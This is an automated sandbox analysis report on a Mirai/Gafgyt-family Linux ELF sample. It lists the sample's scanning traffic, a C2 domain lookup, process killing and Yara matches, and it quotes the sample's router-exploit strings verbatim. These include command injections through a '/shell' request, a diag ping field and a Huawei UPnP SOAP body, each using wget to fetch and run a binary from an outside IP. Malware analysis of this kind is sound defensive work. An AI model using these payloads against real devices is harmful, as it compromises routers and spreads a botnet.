Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.209.65.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.186.250.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.50.126.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.99.219.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.171.212.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.54.170.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.216.143.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.133.2.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.220.96.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.47.90.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.252.218.149:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.23.111.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.64.127.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.34.226.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.240.170.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.229.207.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.69.161.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.159.180.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.236.31.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.78.213.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.177.249.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.221.208.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.233.229.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.12.48.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.144.90.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.116.175.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.69.3.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.70.21.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.220.8.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.201.205.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.59.238.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.96.20.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.7.125.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.39.213.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.219.111.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.151.211.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.165.238.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.40.175.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.5.107.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.34.68.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.190.244.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.154.163.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.2.68.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.248.196.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.117.144.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.43.188.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.88.191.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.125.122.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.181.229.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.171.38.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.230.49.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.165.214.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.189.162.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.177.51.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.207.96.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.8.134.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.218.147.108:37215

Sample listens on a socket

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5528)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 108.70.77.186
Source: unknown	TCP traffic detected without corresponding DNS query: 221.38.148.187
Source: unknown	TCP traffic detected without corresponding DNS query: 141.215.91.186
Source: unknown	TCP traffic detected without corresponding DNS query: 84.4.57.198
Source: unknown	TCP traffic detected without corresponding DNS query: 70.211.76.25
Source: unknown	TCP traffic detected without corresponding DNS query: 213.52.39.71
Source: unknown	TCP traffic detected without corresponding DNS query: 81.208.118.220
Source: unknown	TCP traffic detected without corresponding DNS query: 179.227.56.42
Source: unknown	TCP traffic detected without corresponding DNS query: 45.241.248.151
Source: unknown	TCP traffic detected without corresponding DNS query: 112.162.172.105
Source: unknown	TCP traffic detected without corresponding DNS query: 147.79.198.233
Source: unknown	TCP traffic detected without corresponding DNS query: 2.240.169.64
Source: unknown	TCP traffic detected without corresponding DNS query: 61.238.245.178
Source: unknown	TCP traffic detected without corresponding DNS query: 60.84.141.29
Source: unknown	TCP traffic detected without corresponding DNS query: 94.194.200.56
Source: unknown	TCP traffic detected without corresponding DNS query: 57.8.176.7
Source: unknown	TCP traffic detected without corresponding DNS query: 174.35.231.110
Source: unknown	TCP traffic detected without corresponding DNS query: 92.24.108.160
Source: unknown	TCP traffic detected without corresponding DNS query: 88.200.38.34
Source: unknown	TCP traffic detected without corresponding DNS query: 14.178.205.141
Source: unknown	TCP traffic detected without corresponding DNS query: 112.39.95.248
Source: unknown	TCP traffic detected without corresponding DNS query: 67.255.39.23
Source: unknown	TCP traffic detected without corresponding DNS query: 101.4.190.23
Source: unknown	TCP traffic detected without corresponding DNS query: 201.36.89.178
Source: unknown	TCP traffic detected without corresponding DNS query: 62.2.241.196
Source: unknown	TCP traffic detected without corresponding DNS query: 64.0.240.230
Source: unknown	TCP traffic detected without corresponding DNS query: 19.254.122.161
Source: unknown	TCP traffic detected without corresponding DNS query: 149.220.222.150
Source: unknown	TCP traffic detected without corresponding DNS query: 223.136.207.98
Source: unknown	TCP traffic detected without corresponding DNS query: 86.22.253.210
Source: unknown	TCP traffic detected without corresponding DNS query: 195.100.87.57
Source: unknown	TCP traffic detected without corresponding DNS query: 147.107.49.31
Source: unknown	TCP traffic detected without corresponding DNS query: 41.209.76.113
Source: unknown	TCP traffic detected without corresponding DNS query: 153.4.48.247
Source: unknown	TCP traffic detected without corresponding DNS query: 222.129.175.103
Source: unknown	TCP traffic detected without corresponding DNS query: 196.106.81.71
Source: unknown	TCP traffic detected without corresponding DNS query: 200.15.214.57
Source: unknown	TCP traffic detected without corresponding DNS query: 73.59.105.158
Source: unknown	TCP traffic detected without corresponding DNS query: 97.188.97.220
Source: unknown	TCP traffic detected without corresponding DNS query: 57.102.139.112
Source: unknown	TCP traffic detected without corresponding DNS query: 50.184.231.96
Source: unknown	TCP traffic detected without corresponding DNS query: 124.43.49.153
Source: unknown	TCP traffic detected without corresponding DNS query: 74.235.156.254
Source: unknown	TCP traffic detected without corresponding DNS query: 135.81.59.154
Source: unknown	TCP traffic detected without corresponding DNS query: 67.27.132.198
Source: unknown	TCP traffic detected without corresponding DNS query: 88.196.90.56
Source: unknown	TCP traffic detected without corresponding DNS query: 12.22.181.106
Source: unknown	TCP traffic detected without corresponding DNS query: 123.90.93.46
Source: unknown	TCP traffic detected without corresponding DNS query: 145.12.27.53
Source: unknown	TCP traffic detected without corresponding DNS query: 216.236.123.175

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	String found in binary or memory: http://212.227.63.113/bin
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39362
Source: unknown	Network traffic detected: HTTP traffic on port 4700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 4700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40992
Source: unknown	Network traffic detected: HTTP traffic on port 40992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5539.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5545.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5532.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5543.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5528.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5533.1.00007feed0400000.00007feed0413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5528, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5532, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5533, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5539, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5543, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf PID: 5545, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5533, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5539, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5543, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5552, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5553, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5554, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5555, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5556, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5582, result: successful	Jump to behavior

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3192, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3249, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3250, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3251, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3252, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3253, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3255, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3272, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 3274, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5533, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5539, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5543, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5545, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5552, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5553, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5554, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5555, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5556, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	SIGKILL sent: pid: 5582, result: successful	Jump to behavior

Yara signature match

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
